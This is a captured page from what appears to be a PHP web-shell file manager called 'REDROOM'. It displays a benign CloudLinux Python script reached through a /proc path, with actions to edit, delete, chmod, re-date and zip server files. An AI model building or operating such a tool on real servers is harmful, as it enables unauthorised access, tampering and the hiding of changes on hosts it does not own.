REDROOM
PHP 8.2.30
Path:
Logout
Edit File
Size: 686 B
Close
/proc/thread-self/root/opt/cloudlinux/venv/usr/share/python-cllib/scripts/da_suid_caller.py
Text
Base64
# coding: utf-8 # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2021 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENSE.TXT import sys import json import pwd import traceback from clcommon.cpapi.plugins.directadmin import userdomains from clcommon.cpapi.cpapiexceptions import NoPanelUser try: uid = int(sys.argv[1]) user_name = pwd.getpwuid(uid).pw_name res = userdomains(user_name, as_root=True) print(json.dumps(res)) sys.exit(0) except (NoPanelUser, KeyError): print(json.dumps({})) sys.exit(11) except Exception: print(json.dumps(traceback.format_exc())) sys.exit(10)
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 0 × Files: 6
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
cl-common
4.22 KB
lrw-r--r--
2026-02-10 15:06:06
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
cl_sysctl
4.51 KB
lrw-r--r--
2026-02-10 15:06:06
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
cpanel-dbmapping
3.83 KB
lrwxr-xr-x
2026-02-10 15:06:06
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
da_suid_caller.py
686 B
lrw-r--r--
2026-02-10 15:06:06
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
getpaneluserscount
738 B
lrw-r--r--
2026-02-10 15:06:06
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
plesk_suid_caller.py
905 B
lrw-r--r--
2026-02-10 15:06:06
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).